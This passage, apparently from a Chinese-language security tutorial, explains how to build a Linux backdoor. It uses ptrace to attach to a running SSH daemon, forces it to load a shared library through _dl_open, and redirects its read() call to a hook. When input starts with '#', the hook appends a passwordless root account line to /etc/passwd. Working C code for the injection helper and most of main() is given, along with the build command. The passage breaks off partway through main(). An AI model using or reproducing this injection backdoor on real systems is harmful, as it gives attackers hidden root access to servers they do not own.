下面让我们来写一个简单后门程序。第1步,我们可以调用上面给出的ptrace_attach()完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用ptrace_call()来调用_dl_open,但是要注意_dl_open定义为’internal_function’,这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它:
void call_dl_open(int pid, unsigned long addr, char *libname)
{
void *pRLibName;
struct user_regs_struct regs;
/*
先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈
*/
pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);
/* 设置参数到寄存器 */
ptrace_readreg(pid, ®s);
regs.eax = (unsigned long) pRLibName;
regs.ecx = 0x0;
regs.edx = RTLD_LAZY;
ptrace_writereg(pid, ®s);
/* 调用_dl_open */
ptrace_call(pid, addr);
puts("call _dl_open ok");
}
到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd追加新行”a::0:0:root:/root:/bin/sh\n”,这样我们就有了一个具有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so
root@Dis9Team:~# gcc -shared -o so.so -fPIC so.c -nostdlib
好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:
root@Dis9Team:~# cat injso.c
#include
#include
#include
#include "p_elf.h"
#include "p_dbg.h"
int main(int argc, char *argv[])
{
int pid;
struct link_map *map;
char sym_name[256];
unsigned long sym_addr;
unsigned long new_addr,old_addr,rel_addr;
/* 从命令行取得目标进程PID
pid = atoi(argv[1]);
/* 关联到目标进程 */
ptrace_attach(pid);
/* 得到指向link_map链表的指针 */
map = get_linkmap(pid); /* get_linkmap */
/* 发现_dl_open,并调用它 */
sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */
printf("found _dl_open at addr %p\n", sym_addr);
call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意装载的库地址 */
/* 找到我们的新函数newread的地址 */
strcpy(sym_name, "newread"); /* intercept */
sym_addr = find_symbol(pid, map, sym_name);
printf("%s addr\t %p\n", sym_name, sym_addr);
/* 找到read的RELOCATION地址 */
strcpy(sym_name, "read");
rel_addr = find_sym_in_rel(pid, sym_name);
printf("%s rel addr\t %p\n", sym_name, rel_addr);
/* 找到用于保存read地址的指针 */
strcpy(sym_name, "oldread");
old_addr = find_symbol(pid, map, sym_name);
printf("%s addr\t %p\n", sym_name, old_addr);
/* 函数重定向 */
puts("intercept..."); /* intercept */
ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));